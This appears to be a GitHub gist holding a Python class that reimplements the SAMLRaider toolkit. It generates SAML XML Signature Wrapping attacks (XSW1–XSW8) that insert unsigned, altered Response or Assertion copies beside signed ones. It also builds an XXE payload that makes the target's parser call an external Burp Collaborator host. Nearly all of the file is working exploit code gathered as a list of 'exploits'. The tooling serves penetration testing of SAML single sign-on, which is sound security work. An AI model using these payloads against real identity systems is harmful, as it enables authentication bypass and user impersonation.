Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created February 25, 2021 12:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/8597c7e83bf0c53af5e446fdd38ff714 to your computer and use it in GitHub Desktop.
Save FrankSpierings/8597c7e83bf0c53af5e446fdd38ff714 to your computer and use it in GitHub Desktop.
SAMLRaider in Python, useful to automate (new) logins and the automatic exploit checks.
import xml.dom.minidom as minidom
# Constants
COLLABORATOR = 'example.burpcollaborator.net'
class SAMLRaider():
def __init__(self, match_replace_map: dict = None):
"""SAMLRainder object
Args:
match_replace_map (dict, optional): Optional replacement map to be
applied to the output XML.
"""
if isinstance(match_replace_map, dict):
self.__match_replace_map = match_replace_map
else:
self.__match_replace_map = {}
def __map_replace(self, elem):
for node in elem.childNodes:
if node.nodeType == node.ELEMENT_NODE:
node = self.__map_replace(node)
else:
if node.nodeValue in self.__match_replace_map.keys():
node.nodeValue = self.__match_replace_map[node.nodeValue]
return elem
def ppxmlstr(self, xmlstr: str):
"""Pretty print the XML in the given string.
Args:
xmlstr (str): Description
"""
document = minidom.parseString(xmlstr)
print(document.toprettyxml())
def XXE(self, saml: str, target: str = COLLABORATOR) -> str:
"""Apply an XXE attack hitting the target if it is processed.
Args:
saml (str): The SAML XML as a string
target (str, optional): The target server, insert a Burp
Collaborator for instance.
Returns:
str: The unmodified SAML XML as a string.
Raises:
TypeError: The specified 'saml' parameter is of an incorrect type.
"""
if isinstance(saml, bytes):
saml = saml.decode(errors='ignore')
elif isinstance(saml, str):
pass
else:
raise TypeError("Value for saml is not 'str'")
xxePayload = f'<!DOCTYPE foo [ <!ENTITY % bar SYSTEM "http://{target}"> %bar; ]>'
parts = saml.split('?>', maxsplit=1)
parts[0] = '{0}?>'.format(parts[0])
# Insert the payload after the (first) split
parts.insert(1, xxePayload)
newsaml = ''.join(parts)
return newsaml
def XSW0(self, saml: str) -> str:
"""XSW0 – Applies no modification to SAML Response messages. It is a placebo.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The unmodified SAML XML as a string.
"""
document = minidom.parseString(saml)
return document.toxml()
def XSW1(self, saml: str) -> str:
"""XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of
the Response after the existing signature.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
response = document.getElementsByTagNameNS("*", "Response")[0]
cloned_response = response.cloneNode(True)
# The Original response will be the evil one
response = self.__map_replace(response)
cloned_signature = cloned_response.getElementsByTagNameNS(
"*", "Signature")[0]
cloned_signature.parentNode.removeChild(cloned_signature)
signature = response.getElementsByTagNameNS("*", "Signature")[0]
signature.appendChild(cloned_response)
response.setAttribute("ID", "_evil_response_ID")
return document.toxml()
def XSW2(self, saml: str) -> str:
"""XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of
the Response before the existing signature.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
response = document.getElementsByTagNameNS("*", "Response")[0]
cloned_response = response.cloneNode(True)
# The Original response will be the evil one
response = self.__map_replace(response)
cloned_signature = cloned_response.getElementsByTagNameNS(
"*", "Signature")[0]
cloned_signature.parentNode.removeChild(cloned_signature)
signature = response.getElementsByTagNameNS("*", "Signature")[0]
signature.parentNode.insertBefore(cloned_response, signature)
response.setAttribute("ID", "_evil_response_ID")
return document.toxml()
def XSW3(self, saml: str) -> str:
"""XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of
the Assertion before the existing Assertion.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
evil_assertion = assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0]
evil_assertion.setAttribute("ID", "_evil_response_ID")
evil_assertion.removeChild(copied_signature)
document.documentElement.insertBefore(evil_assertion, assertion)
return document.toxml()
def XSW4(self, saml: str) -> str:
"""XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of
the Assertion after the existing Assertion.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
evil_assertion = assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0]
evil_assertion.setAttribute("ID", "_evil_response_ID")
evil_assertion.removeChild(copied_signature)
document.documentElement.appendChild(evil_assertion)
return document.toxml()
def XSW5(self, saml: str) -> str:
"""XSW5 – Applies to SAML Assertion messages. Change a value in the signed
copy of the Assertion and adds a copy of the original Assertion with the
signature removed at the end of the SAML message.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
assertion = evil_assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0]
assertion.removeChild(copied_signature)
document.documentElement.appendChild(assertion)
evil_assertion.setAttribute("ID", "_evil_response_ID")
return document.toxml()
def XSW6(self, saml: str) -> str:
"""XSW6 – Applies to SAML Assertion messages. Change a value in the signed
copy of the Assertion and adds a copy of the original Assertion with the
signature removed after the original signature.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
original_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0]
assertion = evil_assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0]
assertion.removeChild(copied_signature)
original_signature.appendChild(assertion)
evil_assertion.setAttribute("ID", "_evil_response_ID")
return document.toxml()
def XSW7(self, saml: str) -> str:
"""XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block
with a cloned unsigned assertion.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
extensions = document.createElement("Extensions")
document.documentElement.insertBefore(extensions, assertion)
evil_assertion = assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0]
evil_assertion.removeChild(copied_signature)
extensions.appendChild(evil_assertion)
return document.toxml()
def XSW8(self, saml: str) -> str:
"""XSW8 – Applies to SAML Assertion messages. Add an “Object” block
containing a copy of the original assertion with the signature removed.
Args:
saml (str): The SAML XML as a string.
Returns:
str: The modified SAML XML as a string.
"""
document = minidom.parseString(saml)
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0]
original_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0]
assertion = evil_assertion.cloneNode(True)
evil_assertion = self.__map_replace(evil_assertion)
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0]
assertion.removeChild(copied_signature)
obj = document.createElement('Object')
original_signature.appendChild(obj)
obj.appendChild(assertion)
return document.toxml()
# Use all the exploits, starting with 'X'
samlraider = SAMLRaider()
exploits = [getattr(samlraider, i) for i in dir(samlraider) if i.startswith('X')]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment